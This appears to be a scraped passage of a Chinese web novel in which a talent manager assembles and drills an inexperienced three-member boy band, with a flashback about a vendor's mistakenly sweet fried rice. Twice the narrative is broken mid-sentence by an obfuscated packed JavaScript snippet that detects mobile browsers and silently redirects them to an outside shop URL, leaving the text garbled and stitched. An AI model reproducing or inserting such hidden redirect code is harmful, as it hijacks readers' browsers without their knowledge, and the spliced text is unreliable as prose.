安声听了后当场如遭雷劈,又是一个无经验无基础的素人!!?? 奚亭云倒是很客气:“还好,我也不太熟悉,我之前是做炒饭的。” 这下萧子重的表情也和安声一样了,他满脸写着“这都行”?? 安声艰难地跟话:“我,学声乐舞蹈的。” 剩下的用餐时间,三人都吃得很慢,互相打量对方。 萧子重夹起一块萝卜放进嘴里,缓缓咀嚼,不经意地打量安声。 长相倒是挺乖嫩的,那大佬的躺姿、和训练过的身材能看出来,安声是他们之间唯一一个在男团方向靠谱的人了。 但是这位炒饭老哥是怎么个事儿? 萧子重探究的目光时不时扫过他。 来之前宫欢跟他说过计划核心:唱跳男团。 宫欢说他的外形条件还不错,在其中可以做个背景板,说是有专驻的主C位,萧子重和另一个人只需要好好配合。 主C位安声深深感觉自己受到欺骗。 这和宫欢说的不像啊,就算三人男团里有两个是混子也就算了,但也不能全是零经验的混子啊! 他压力会非常大,怎么带飞他们。 两个队友都是和唱跳毫无关系的人,男团根本做不成。 安声的想法很单纯,既然来做了,就努力做好,他希望男团能走的远,走的长。 三人在客厅大眼瞪小眼。 明面笑呵呵,实则心里互相嫌弃,三人形成一个独立的结界。 滋滋拉拉的无形电流噼里啪啦的闪过,路过的人能明显感觉到氛围不对。 这时,奚亭云筷子伸出去准备夹住一块土豆,恰巧萧子重的筷子也伸了过去。 两人抬眼看着对方,手保持不动,就那么直直地盯着对方,暗中较劲。 萧子重心想:他真是炒饭的?宫欢到底在搞什么?这活还能不能接了? 奚亭云则是:她又带回来一个男人。 旁观的安声见状,也跟着把筷子伸了过去:他们这是什么礼仪吗,不合群不好吧?我也来。 三双筷子交错在一起,安声想夹起牛腩,被奚亭云一筷子打掉。 而萧子重更是为了试探奚亭云,筷子紧跟而上夹住他的一根筷子,用力一挑,将奚亭云手里的筷子挑掉一根。 叮得一声,筷子砸在餐盘上。 正在下楼的高姐视线看过来时,就见三人互相瞪着眼睛,一副要较劲到底的样子,谁也不知道他们在较什么劲。 安声也不知道,但重在参与就对了,这就是团队精神。 高姐正走到二楼楼梯口,准备下来说点话让他们好好相处。 本想撤出较劲的安声拿起苹果准备离开,一旁的萧子重也跟着去抓住那个苹果,奚亭云也不甘示弱地抓住苹果。 在三人的力气下,啪得一声,苹果被掰成了三瓣。 全程围观的高姐:“......” - 10分钟后。 得知三人相处有问题、不太配合的宫欢大叫一声:“什么!?闹矛盾?较劲?影响合作?” 她气冲冲地一路从卧室冲到大厅,三人在沙发上坐成一排,垂着头闷不做声。 三张脸个个优秀,宫欢的气一下消了大半。 她抱着手臂在他们面前来回踱步:“怎么回事,怎么回事,啊?有什么矛盾就说出来嘛,憋着较劲干嘛,好像要把我家拆了似的。” 安声率先举手,他委屈的控诉:“为什么他们都没有经验,只有我一个会唱跳相关的,在挑选成员的时候,欢欢姐完全不为男团着想吗?” 萧子重也吭声:“你找我来到底是什么打算,就算做背景板也得有个目标吧,总不可能就让我白拿钱干混?我接受不了。” 宫欢任由他们一人一句,最后目光落在奚亭云身上,她看着他:“你呢,有什么想说的?” 奚亭云是沉默最久的,他只是和她对视:“没有。” “好,既然你们现在三个人都在,大家都是自己人,我就全都说出来,”宫欢说,“你们选择相信我,一定不是盲目的,而是想寻求改变,能改变现状,让你们得到想要的东西。” 宫欢始终站在他们面前,语气平和:“那你们有没有想过,我为什么找你们?” 安声抢答:“你也想改变吗?” 宫欢很果断的肯定:“没错!” 话音刚落,所有人都将目光放在了宫欢身上。 面前的女人扎着丸子头,穿着舒适的睡衣,个子不高,浑身却散发着不服输的气势。 “你们应该或多或少地听说、看到过关于我的种种传闻,不管是好的坏的,总之我在大众面前就是一个上不得台面的人,但那都不重要。” 宫欢自信的像个小太阳,她看过三人,目露真诚地说“我改变不为一个好形象,不为任何人,只为了自己。” ——为了20亿。 “男团是我第一个出现的想法,也是我目前能做到的、让你们最快获得关注度的办法。你们的形象不同,却有同样的目标。” 宫欢说:“我知道你们三个的优势特点不同,安声适合唱跳,萧子重适合演戏,奚亭云暂时还没摸索出来。但有件事你们得想想,不是谁都能一上来就获得最好的东西。” 三人互相看了看。 “你至少得先打个水花出来,让人注意到你,发现你的存在,而不是一上来就要求最好的,连水花都没有,别人为什么把机会压在你身上?你想要机会,别人不想吗?我不想吗?” 说的累了,高姐端来一杯水递给宫欢,她一口气灌了大半杯,继续发力: “我并不是随随便便找几个人凑个男团,推出去博取关注度,我是认真筛选过、观察过你们的。如果我真的是那种很势利的人,我会直接从一些经纪公司里面选几个艺人成团出道。” “选你们,就是因为我们都有同样的目标——改变,改变现状,一步一步去达到想要的目标,比起之前的原地踏步,起码我们现在已经在往前走了,你们说呢?” 三人沉默着。 先前确实怀疑宫欢的用意,但想想,圈中优秀的人那么多,她确实没必要找他们三个毫无关联的人,不熟悉、无经验,培养全都是从头来。 不论是钱还是时间成本都极其的高。 宫欢是抱着试试、赌的心态找到了他们。 “并不是你们单方面的将希望压在我身上,”宫欢说,“同样的,我也将所有的信任和希望都压在你们身上了,我们是一条船上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原来你还记得我。” 奚亭云的头微微垂着,视线落在地面的石路花纹上。 他手指无意识地摩挲着,嘴角带着自嘲地笑,语气很轻:“我以为像我这样不起眼的人,从不值得被记住。” 两人话里话外都在说认识。 高姐从身上摸出包烟,手指敲了敲底部,抽出支香烟夹在指间。 将烟点燃后抽了起来,她面容略带着惆怅,话语却一阵见血: “我看得出来你的眼神,这样的眼神宫欢身边有很多。” “我的建议是,做好你自己的事,不要想不该想的事情。” “即使你能因为她达到一个你这辈子都不可能到达的高度,”高姐说,“也不要妄自以为,你就是凤凰了。” “你自己好好想想吧。” 烟燃尽了,高姐丢在脚下踩灭,转身离开。 奚亭云轻轻靠在秋千上,身体随着秋千的摇晃而轻晃。 夜色冰凉,他的目光顺着主楼看向三楼亮起的暖黄灯光。 想,他要怎么想? 奚亭云不是没有想过,从两年前开始,他就一直在想。 想距离,身份,隔阂,阶级,家世背景,想他配不配,想他能不能。 如果宫欢没有出现,他会抱着那些妄想勉强度日。 可无数个日夜过后,宫欢再次出现了。 明晃晃地、直白地、没有任何阻碍地出现在面前,说着他从未听过的夸赞,欣赏他,赞美他,要靠近他。 这让人怎么拒绝。 从那刻起,奚亭云就决定将那些无法实现的妄想,一一实现,不计任何手段和代价。 13. 五碗炒饭 两年前。 B市。 网络盛传——来B市不去当地有名的吃货街就是白来,吃货街必吃榜一时间占据美食视频的头榜内容。 而这几天吃货街里的人格外多。 十几年的小吃街被临时选为拍摄场地,摊贩们本来有所怨言,不过好在拍摄剧组说明情况——拍摄的就是小吃街桥段,摊贩们仍然正常出摊,不耽误挣钱。 大家也就没话说了。 有人打听到拍摄剧组里有几个当红明星,到时会来许多粉丝围观探班,年轻人指定不少,摊贩们也能赚不少钱,这几天个个都备足了料。 于是那段时间一到晚上吃货街就热闹非凡,人潮拥挤。 奚亭云的摊位位置在吃货街的角落。平时生意不错,因为摊位干净,炒饭料足,不少人都是回头客。 他这段时间每天都备足了食材,到了晚上就忙着闷头炒饭。 因为拍摄剧组的存在,游客是平时的两倍,来吃炒饭的人也跟着多了起来。 不过大多都是剧组里的人来吃,毕竟炒饭是垫肚子的,游客吃点小吃基本饱了,不会再吃炒饭。 这天凌晨。 剧组的拍摄临近尾声,粉丝们的注意力都移到了艺人那边。 他这无人问津,空落落的。 正拿起调料盒准备收摊,一个穿着一身黑的女人走了过来,干脆直接地用手机扫码付款,然后说:“两份肉丝炒饭。” 奚亭云立刻又忙了起来。 热油润锅,下肉丝激发香味,下配菜米饭掂锅翻炒一阵,两三分钟便将冒着热气的喷香炒饭盛出。 他手脚熟练快速地把炒饭装进打包盒,封盖装筷,还没来得及放进塑料袋里,女人就伸手来接。 “不用装了,马上吃。” 奚亭云索性直接递给她,客气说了句:“小心烫。” 女人接着炒饭往剧组方向走了,估计是剧组人员。 奚亭云将摊位周围的垃圾扫到一堆,准备收摊,没想到几分钟后,女人又回来了。 一样的扫码,言简意赅:“肉丝炒饭。” 奚亭云顿了顿,还是放下手里的活。 打开燃气热锅,滑油炒肉丝,将饭倒进锅中铁勺碾压,捻开米粒颠锅翻炒。 盛出,装盒,女人伸手过来接:“谢谢。” 这回奚亭云多看了会儿女人的背影。 这炒饭不像是她吃的。 人吃饱后会有种饱腹满足的恍惚状态,但她没有,可能是给别人带的。 收拾到一半的桌椅板凳还摆在那,奚亭云又弯腰去收。 在将收起配菜时,女人又回来了。 嘀,扫码,“蛋炒饭。” 奚亭云性子好,要是一般的老板可能会问——你到底还有几份我一起炒了,省得废我燃气。 他没问,收起的调料又摆出来,提锅就炒。 炒好后他递过去,顺嘴问了句:“等下还要吃吗,我快要收摊了。” 女人一顿,皱眉似乎在思考,想了想,“再炒一份吧,最后一份,多的也不给她吃了。” “行。” 又是一阵叮当响。 奚亭云听着女人话里的意思,这大概是给一个人吃的,这人胃口还挺大,万一吃伤积食就不好了。 炒饭装盒时,他随手塞了一板健胃消食片到塑料袋里一起给女人. 高姐讶异地看他,奚亭云笑笑:“吃多了容易积食,送个消食片给你们。” 高姐接过塑料袋,奚亭云没多看她,转身便去收拾摊子。 高姐说了句谢谢,提起炒饭忙着赶回剧组。 那小祖宗就坐在剧组临时搭建的休息帐篷里,简陋的塑料板凳前——把几十万的礼裙窝吧窝吧塞在腰间,捧着一盒炒饭吃,吃到最后仰头用筷子全扒进嘴里。 她们刚参加完晚宴就得到一个艺人在剧组闹事的消息,连夜赶到剧组来才制住场面,衣服都来不及换。 高姐一回来就说:“别吃太快,等下你肚子积食了撑得难受。” “好吃!”宫欢放下饭盒一抹嘴,满嘴的油擦不干净,她扭头看见高姐提来的剩下两份,眼睛亮晶晶地看她,伸出手,“再来一份!” 高姐先把消食片递给她,“把这个吃了,人家炒饭老板都觉得你吃的太多了,还特意给了消食片。” 宫欢没吃过这东西。 她从小到大吃饭的分量都有规定标准,饿不死也吃不饱,以至于她从来不知道吃饱是什么滋味,饿肚子是什么感觉。 宫欢接过消食片翻看,这东西跟药一样,撇撇嘴丢开:“消什么食,我都还没吃多少。” 高姐无语:“你这还没多少?一般一份饭就是七八分饱了,最多是一份半、两份,你胃不大,吃多了受不了。” 宫欢扯开话题,开始可怜兮兮地卖惨:“这家炒饭好吃,我从没吃过这么好吃的东西。你知道的,我从小不被爱,不知道吃饱是什么滋味......” 高姐:“......少来这套。” 剩下两份饭高姐还是给宫欢一份,自己一份。 高姐其实并不太饿,但这份饭她不吃的话宫欢绝对也会一起吃了。 饭还冒着热气,掀开盖子冒出香味,碎绿色的葱花点缀在金黄色的饭粒上,色香味俱全。 高姐不知道宫欢在哪学的扒饭姿势,吃起来又快又香,一点儿礼仪都没有了。她摇摇头,掰开木筷挑起米饭吃了几口,一入口整个人都呆住了,眉头慢慢皱起。 高姐咀嚼着嘴里的那些饭粒,脸色由红变黑,最后转为煞白,好半天冒出句: “你真觉得好吃?” 宫欢吃得正欢,嘴上染着油光,她两腮鼓鼓,不明所以地抬头:“是啊,很香很甜。” 高姐:“......” 合着宫欢是把炒饭当甜品吃。 高姐嘴里晕开一股淡淡的甜味,胃口瞬间降到最低。 她很想去找老板退钱,还想骂他盐糖不分。 但看着宫欢肚子鼓鼓,又干完了一份炒饭,还是作罢了。 - 奚亭云是收完摊准备回家补料时发现这个问题的。 调料盒子都一样,但准备收摊时他无意碰了下调料盒,两个盒子位置便对换了。 如果是傍晚天稍微亮时,他绝对会发现。 可昨天那个点,他着实有些犯困,路灯也黯淡,硬是把糖当成盐放,连炒了五份。 一般人吃出味道不对就该找回来了。 可昨天黑衣女人连来了四次,要了五份炒饭,她没吃到嘴里,其他人应该吃到了啊,没有和她说味道的问题吗? 奚亭云想不通,隔天早早出了摊,三四点就去守在摊位上。 要是客人找回来,他会退钱的。 他等的时间很长,从日暮西斜到余晖尽消,天际由橙黄渐变为深沉的蓝调。 奚亭云一直等待那位吃到甜炒饭的客人找回来。 人一旦开始等待,便会开始期待,胡思乱想。 会是谁连吃了好几份炒饭? 一定是觉得好吃,才会让黑衣女人来继续买。 这位客人的口味很独特,奚亭云不自禁就为她自行涂抹上了幻想色彩。 - 是夜,剧组收工。 在训过矫情作死的艺人后,宫欢准备离开了。 来的一天一夜里,她全程穿着那身礼服,换都懒得换。 两人离开剧组,走出剧组的驻地范围,准备启程回A市。 剧组外几步路就是小吃街,宫欢还嘴馋昨天的甜炒饭,但还没张嘴就被高姐堵回去。 高姐说:“哪儿有这种做法,炒饭只能是咸的!” 宫欢撇嘴:“我昨天吃的就是甜的啊。” 高姐说什么都不给她买了,小吃街上的炒饭摊太多,宫欢根本不知道高姐是在哪家买的。 她不情不愿地控诉几句高姐:“你就是不给我吃好的。” 小吃街尽头的一侧是山体墙壁,上方建有楼梯,走出楼梯后才是大路。 宫欢提着裙摆一步步走台阶,嘴里嘀嘀咕咕不断。 高姐在她身后心硬的不搭理。 离开时的埋怨碎碎念声音不大不小,被一人听了去。 奚亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126304|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云耳边是嗡嗡的小吃摊叫卖声,他说不出为什么,就是捕捉到了一两句带着气的嘟囔,于是抽空抬头,想望望风休息会。 恰巧,他看见昨天买了好几份炒饭的那位黑衣女人,刚想喊住人道歉,说他昨天把糖盐的位置搞混了,可以重新做几份。 但紧接着。 奚亭云看见黑衣女人贴心地伸出一只手扶着身旁的另一个人。 她穿着藏蓝色的修身晚礼服,裙摆背面有细碎的钻石在微微闪烁,肩膀露出的部分皮肤白皙晃眼,头发半披在肩后,只露出了个有些白嫩的侧脸。 她不满地撇起嘴,侧头埋怨着什么,一只手放在肚子的位置轻轻揉动,像是消化不好。 他一瞬间就明白过来,那五份炒饭是她吃的。 她喜欢吃放糖的炒饭。 一瞬间,奚亭云不知道自己是怎么想的,他拽掉围裙,不顾刚来准备买炒饭的客人呼喊,大步地朝那个方向跑去。 迈楼梯都是两三阶的上,直冲到楼梯的最上方,是宽阔的、车流来往的马路。 车灯晃眼,一辆辆的从面前开过去,嘈杂的引擎声喇叭声不停响起,刺耳得让他一度再也听不到任何声音。 奚亭云左右张望,再也找不到那个人。 他茫然无措地看着车流,不明白驱使他追上来的念头是怎么来的。 或许,他只是想道歉,退钱,重做一份。 又或许是想再做一份甜味的炒饭,认识一下这位特殊的客人。 但不论怎么样,都再也没有机会了。 从那之后,奚亭云心里像空了一块。 日常的活动行为都无法填补空缺,没有期待以前,他就像个普通人正常的生活,赚钱,将自己养活得好好的就行,没多的想法。 期待产生欲望,他深刻的体会到。 以往的生活变得枯燥乏味,他脑袋空空,像个空心人一样重复着日复一日的生活。 直到某次,手机接收到乱七八糟的娱乐新闻消息,正想删掉,眼睛瞥见封面写着xx剧组艺人闹事的八卦,他想起这个剧组貌似就是前段时间在小吃街拍摄的剧组。 奚亭云隐约嗅到一丝可能性。 于是他点了进去,找到那个艺人的名字,不是她。 搜索艺人各种相关的电视剧和众多的新闻八卦,终于,在某则娱乐新闻里,奚亭云看到内容文字写出该艺人的经纪人——宫欢。 宫欢两个字下方,是她的写真照。 张扬的复古红色西服套装,扎得高高的马尾,眼型偏圆,像猫的眼瞳变圆的时候,可这样圆亮的眼睛透着锐利强势的气息。 她似乎很偏爱颜色极重的穿搭。 上次的藏蓝礼服,写真照里红到发黑的西服。 奚亭云第一次下载了社交软件——微博。 他听说明星艺人都会有公开的社交账号,于是第一次注册微博,登录账号,搜索关键词—— 宫欢。 输入这两个字时,手指竟然在微微发抖,输入拼音的同时心底默念出这两个字。 宫欢。 点击搜索键后的下一秒,带着大V标志的头像映入眼帘,旁边是他所搜索的两个字。 头像不是她的照片,是张可爱的柴犬头像。 奚亭云点进她的微博,翻出最近发出的微博内容,都是一些转发活动、艺人活动之类的宣传,没有几条博文和她有关。 他不太确定这是不是宫欢的微博。 直到翻到最后一条微博,是刚入驻微博时发的。 微博博文里有张照片—— 宫欢似乎刚工作完很疲惫,她坐在车里带着鸭舌帽,长发柔顺的贴在脸侧,穿着黑色长袖针织衫,慵懒地靠在车窗边,眼睛隐在帽檐阴影里,露出鼻梁以下的脸。 她不甚明显的眼睛微垂着看向镜头,淡淡地没什么情绪,两根手指束起比了个耶。 不像出现在任何社交平台上的风光张扬,是安静的日常的、更生活的。 拍摄的角度在驾驶位,大概是之前的黑衣女人给她拍的。 奚亭云终于确认下来。 ——找到你了。 14. 魔鬼训练 啪! 一张写着密密麻麻的字的清单被拍在茶几上,奚亭云三人忍不住将头探过去细看。 “早上7点出门晨跑五公里,回来五公里,早饭后休息30分钟,健身房举铁三小时!吃完午饭下午到晚上22:00全部都是训练!?” 萧子重念出清单上的作息安排,他瞪大眼睛质疑道:“这什么神仙作息,你是嫌我死得不够快,蓄意谋杀啊!” “早饭:健康餐,一拳杂粮,一拳水煮菜,两拳肉,不能吃任何带甜味的食物,包括......饮料!啊,不能喝甜的了。” 安声接着萧子重的话往下念:“午餐黑麦馒头,水煮鸡胸肉,凉拌菜(少油版),晚餐......晚餐呢!!姐,打印机是不是没纸了,怎么没有晚餐?” 宫欢慢悠悠地找出冰箱里的酸奶吃了一口,砸吧嘴回味:“因为本来就没有晚餐。” 萧子重抗议叫道:“你干脆让我们喝西北风算了,还能吃得饱一点。这什么,虐待员工啊,我要饭都比这个吃得好。” 没等他们反抗,奚亭云继续往下读出剩余的作息内容: “晚上不能熬夜,必须在23点前入睡,每天早上起来都要消除水肿,让脸紧绷保持最佳状态,每天都要敷面膜擦身体乳,体毛全部剃掉,保持皮肤的白皙光滑柔嫩......” 什么玩意儿!? 萧子重愤愤起身将这张清单抓起两下撕成碎片,嚣张地往空中一甩,纸片哗啦啦往下飘:“我请问我参加的是男团还是选美比赛,什么怪里怪气的要求,是个人都不可能做到吧!” “是啊欢姐,”安声附和道,他看着宫欢手里的酸奶嘴馋,“连饮料都不能喝,甜味的东西都不能吃,太痛苦了!” “我没问题。”奚亭云背叛了组织。 安声和萧子重瞬间对奚亭云怒目而视。 “堕落啊你!” “奚哥你疯啦!” 宫欢接过高姐递来的新清单表。 晃眼一看,别墅里大大小小的地方几乎都贴上了日常清单,用餐区贴着肉和菜的比例与油盐量。 木质楼梯的墙边撤掉了名贵字画,全都换上了监督艺人们的饮食作息,人人有责的标识。 标识最下排有一行红色小字:一旦发现有艺人不按照标准来的一律举报,举报成功将会得到红包500元。 宫欢欣赏着清单上的内容,津津有味地吃着酸奶:“没有做不到的事情,只有你们不想做。内容不错,就是还少点美容美体方面的,他们每周要做一次全身护理。” 高姐迅速应道:“马上加进去。”着手在手机备忘录里记下。 萧子重靠墙边挪着步子准备偷偷溜走,嘴里碎碎念:“我看这就是个魔窟,吃人的地方!什么男团,你当你选妃呢?我就知道不该信你!” 在他靠近大门时,眼戴墨镜身穿黑色西装的五位身材健硕的保镖齐齐排成一座大山,挡住了萧子重的去路。 保镖们个个身高一米九,光是站在门口就让人不寒而栗,几双眼睛盯上萧子重,他咽了咽口水。 宫欢将吃完的酸奶空盒丢进垃圾桶,很贴心地摊手提醒他:“违约金,50万。” 保镖大哥们像山一样挡在萧子重面前,气势强大,仿佛他只要再往前迈一步就能打断他的腿。 萧子重只得硬着头皮慢慢退步回来,老老实实地走到宫欢身后,给她捏肩捶背,忍辱负重地说: “说什么钱那么见外啊,我只是觉得,应该再加个每周总结进去,定期对我们的训练验收一下成果,您觉得呢,欢——姐!” 宫欢满意地点头:“好主意,高姐加进去,真不愧是专业演员啊~” 变脸这么快。 萧子重的牙咬得咯咯作响,宫欢还竖起耳朵,一只手当做收音筒抵在耳边,调侃道:“诶,谁家养鸡了,咯咯哒的,宰了煲汤给我三位大明星养养身体。” 安声目睹了一位老戏骨被逼迫的全过程,痛心疾首,清澈眼眸饱含痛惜:“组织被瓦解了,我的小甜水永别了,呜呜呜——” 宫欢好声好气地安慰他:“又不是一直控制饮食,你们每半个月有一次放纵日,我还是很心疼你们的。” 安声好受不少,他真信了,天真地感动道:“我就知道欢姐会心疼我们。” - 翌日。 当三人在6:30被强制叫起床晨跑时,除了奚亭云,另外两位催生出的怨念能建起一座镇妖塔。 在他们搬来后,宫欢找定制工作室给每人量了身材尺寸,定制了不少衣物服饰、护肤品等等,一切生活日常都在别墅内搞定。 健身时三人穿着某品牌的运动上衣和短裤,带着测量心率和运动量的智能腕表,被保镖撵鸭子似的赶出了别墅大门。 清晨,还有浅浅的雾气在弥漫,温度偏低。 三人感觉快要原地飞升成仙了。 萧子重憋了个主意:“你们说,要是我们随便跑几圈回来,也不会被发现的吧。” 安声冷得瑟瑟发抖,抬起手腕看表,头发翘起一撮呆毛:“不行啊,运动手表会暴露的。” 奚亭云打破他们的幻想,他扬了扬下巴,示意他们看向不远处的人影:“她应该猜到我们会作弊,还找了人来监督。” 什么!? 两人往奚亭云示意的方向看去,几步远的地方,穿戴整齐、一身专业运动装束的高姐正在活动手脚热身。 高姐见人到齐,打开了计时器,朝三人说:“现在开始晨跑,别浪费时间,都跟上我,别掉队。” 说完,高姐就自顾自跑起来,不管后面三人的死活。 他们搬来别墅后根本没什么时间熟悉周边环境,不跟上高姐就只有打转迷路的份,而且早起出门,保镖们没收了他们的手机,以防三人不专心。 奚亭云最先迈步小跑着跟上高姐。 紧接着是安声,他叫着“等等我啊”,跑几步也跟上了。 最后只剩萧子重,他仰天长叹:“命好苦啊——” 苦的不是跑步,而是早起。 然后他苦逼的抹了把脸,只得摆臂跟上去。 早晨,7点的太阳初升,四人跑出别墅区,沿着跑道一路到了五公里外的地方。 高姐一直在前面领跑,其他三人紧跟其后。她以前参加过长跑马拉松,耐力好,速度也快。 在五公里外的地方,高姐止住脚步绕弯回来,看见后面跟着的是奚亭云、安声、最后才是萧子重,脸很臭,跑步姿势很不标准。 高姐发现三人呼吸均匀,气息平稳,都没冒什么汗。 默默在心里准备给他们在后面的无氧运动里加码。 回到别墅十公里目标刚好达成。 几人一进大门,就看见宫欢走到三楼的阳台,穿着卡通睡衣伸了个懒腰,头发凌乱,她手肘撑在阳台边打哈欠,瞧见他们回来还招招手: “早啊,各位。” 日光映眼,奚亭云眼眸缩了缩,低声回应:“早。” 安声委屈巴巴:“我能补觉吗欢欢姐。” 萧子重当场炸了:“凭什么她就可以睡懒觉@¥#&&a!为什么她不跟我们一起跑!!” 高姐耸耸肩:“问得好,大概因为她是老板吧。” 萧:“!!!”忍了! 要忍的事不止这一件。 用早餐的时间,三人面对分装盘里的一拳杂粮饭,一拳水煮菜,两拳水煮肉,还有饮料——冰美式、热美式、果蔬汁……和一瓶写着疏通肠道的不明液体,几乎要灵魂出窍。 旁边,宫欢点的炸鸡外卖刚到,她哼着小曲撕开包装袋,瞬间冒着喷香热气,让人垂涎欲滴。接着倒了杯汽水,咕嘟咕嘟喝了一大口,“嘶哈,好喝!” 于是听见三下吞咽口水的声音。 宫欢视若无睹,伸手招呼高姐来吃:“跑那么久累了吧,快来吃点补补身体。” 高姐举起手里的牛肉面:“那个太油,我早上吃不下。” 安声感觉口水要流到地上,迫不及待地举着手:“我吃得下,给我吃!” “大早上吃炸鸡,你不嫌腻味啊,”萧子重恨恨地咬了口白水煮肉,嚼得异常用力,像是要咬死谁似的,“你不用身材管理吗!?” 宫欢咬了口脆皮鸡腿,嘎滋嘎滋吃得津津有味,她眼眸圆圆的,傲娇地一扬眉: “我又不靠脸吃饭,不用管那么严,你们就不一样了,腹肌胸肌背肌括约肌什么的,都要给我练出来啊,过几天检查。” 奚亭云正低头吃着水煮菜,听见这话忽然抬头盯着她:“什么时候检查。” 高姐瞪他一眼,没把人瞪下去。 “那玩意儿我有啊,”萧子重更愤恨了,“腹肌胸肌都有,我可以吃炸鸡了吗?” “欢姐我也有,”安声放下冰美式,被苦的脸都皱成包子,“我会好好训练的,能喝一口可乐吗?” 宫欢拿起一只炸鸡腿,在三人面前晃了晃,三双对食物渴望的眼睛跟着鸡腿转: “不、行。你们那叫什么腹肌,一点儿美感都没有,肌肉必须是穿起来显瘦,脱衣服又很有性张力。” 宫欢极力描述着最漂亮的那种身材: “我们审美很高的好不好,肌肉要薄~薄~的在皮肤下面,在做一些动作的时候会很明显,不能是脂包肌,肥肥的一坨,也不能是那种大块的跟石头似的。” 奚亭云听得认真,嗯了一声点点头,像是在牢牢记下要点。 萧子重不惯着她:“你以为在菜市场买肉呢?还挑瘦肉。” 说着气得嘎嘣咬了口芹菜。 安声听完后,低头掀起衣服下摆,正想露出腹部肌肉给宫欢看看,“欢姐你看这样的——”行不行。 唰得一下,奚亭云眼疾手快地把他的衣服拉了下来。 安声不明所以地看他,奚亭云冷着脸说:“吃饭不要讲话。” ——哦,好吧。 早餐过后是无氧训练,高姐将这工作交给其他助理了。 健身房内,3个小时的无氧运动后,三人齐齐做着俯卧撑,助理实时计数。 萧子重身上的汗狂往下滴,几乎打湿了整张瑜伽垫,手臂上青筋暴起,耳根充血,使得整张脸极具攻击力,说话咬牙切齿的,像是在威胁谁: “我说,少几个也没关系吧。” 小助理一本正经地说: “不行,62,高姐说,63,少一个我就少两百红包,64,100个,65,一个都不能少,66,姿势要标准,不行,刚才那几个塌腰了重新来,62......” 听到重新来这三个字,萧子重和安声直接摔倒在瑜伽垫上,哀嚎痛叫: “要命啊!!!” 100个俯卧撑做完后还不能马上休息,必须拉伸到位。 宫欢亲自监督三人。 在家时她穿着随心,挂颈的米色针织美背背心搭配宽松的阔腿裤,蹲在他们面前严厉指点着: “腿上的那些死肌肉都给我抻直了,腿要匀称有肉,又直又长才好看,腰得细,腰间比例都给我按照标准来!一点儿料都没有拿什么媚粉!” 拉伸的泡沫轴表面凹凸不平,是特殊定制的款式,比一般的泡沫轴凸起更高,材料更硬挺,滚过身体肌肉时酸痛感冲上天灵感。 萧子重的背部整个压在泡沫轴上,来回滚动,痛感简直了。 他的手攥成拳,砰砰地砸着地板大骂,试图缓解痛意带来的想哭的感觉:“宫欢!!我和你不共戴天啊啊啊——卧槽好痛!!啊啊我要死了!” 就属他叫得最厉害。 安声以前是学舞蹈的,拉伸早已刻入DNA,虽然难受得厉害却也能坚持住。 白嫩的脸因为痛觉紧皱,他皮肤白,滚过泡沫轴后皮肤显出大大小小的淤青。 宫欢又看向奚亭云。 她发现他很能忍耐。 如此高强度的训练,加上长达一小时的拉伸过程,他痛得身体都在发颤,时不时抖得厉害。 他的手指紧紧抓着瑜伽垫,浑身紧绷,呼吸很重,离得远也能听见。 除了偶尔实在受不了才吭一两声外,基本上不会喊痛。 是个好苗子。 奚亭云皮肤偏冷白,身上的淤青看起来比安声还要夸张,裸露出的手臂上面青紫一片。 宫欢半蹲在他面前,长发从肩头滑落,在奚亭云眼前飘晃,她轻声问:“还能坚持吗?” 奚亭云俯趴着在拉伸小腿,隐约有些抽筋,一抽一抽的疼。 因为疼痛他一直闭着眼,此刻他睁开眼,就看见飘动的发尾,紧跟而来的是发间浅淡的香味。额头隐忍的青筋微微凸起,他重重呼出气。 “可以。” 一边的萧子重叫得更厉害:“我不行了啊喂!宫欢你看我一眼啊,我浑身都疼得像被人打了一样!能不能休息啊!” 宫欢无动于衷:“哦。” “???什么叫哦?你还是人吗?之前说得好听——啊啊啊我的腰!!” 她坐到一边不理会萧子重的嘀嘀咕咕,打开手机看高姐的消息。 三人的社交账号已经设置完成,人设定位也做好了。 最后来的萧子重适合走雅痞路线,安声则是天然呆路线,不过他偶尔不自知 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团队照很快出图,摄影师发给高姐,她将照片设置成三人社交软件背景图,接着又将三人拍出的单独主题写真照各自发了几条微博。 小助理在旁协助,给水军发语音消息:“看到我给你的账号了吗,去里面评论写真照片,重复率不要太高,5毛一条!” 就这样连轴转了几天,第七天,宫欢说要检查每周的训练成果。 有人期待,有人烦躁。 舞蹈训练室,舞蹈老师杰西卡打开音乐。 主C位安声,右侧是奚亭云,左侧是萧子重,随着音乐节奏的起伏,三人动作表情都到位了,比起刚开始好不少,但—— 宫欢指着越跳越偏,快要跳到门外的萧子重、还有跟不上安声动作的奚亭云,问: “他们这什么毛病?” 杰西卡为难:“他们三个不太熟悉,舞蹈动作是能跳出来,但是互相之间的配合还不太行,这和他们的相处也有关系,只有完全信任队友才能配合得更好。” “就是没默契,对吧?”宫欢直说,杰西卡点点头。 ——行。 宫欢当天就给他们加了默契训练内容。 包括但不限于:三个人前后站成排,绑住两边的腿,在距离100米外的站台上放着炸鸡薯条汉堡奶茶可乐麻辣烫薯片饼干等食物。 宫欢穿鹅黄色连衣短裙,扎着俏皮的斜马尾,耳环是两朵大大的向日葵花,颇有种古灵精怪的灵动劲。 她站在终点,胸前围上了花色餐巾,拿起助理借来的大喇叭叉着腰对他们喊: “三分钟跑不过来我就全部吃了哦~你们的加餐就没啦!” “三,二,一!” 号令一下,中间的萧子重拼了老命往前跑。 最前面的是奚亭云,安声排在最后,两人猝不及防地一下被带得摔倒,三人倒在一起如同畸形八角怪物,手脚乱七八糟的。 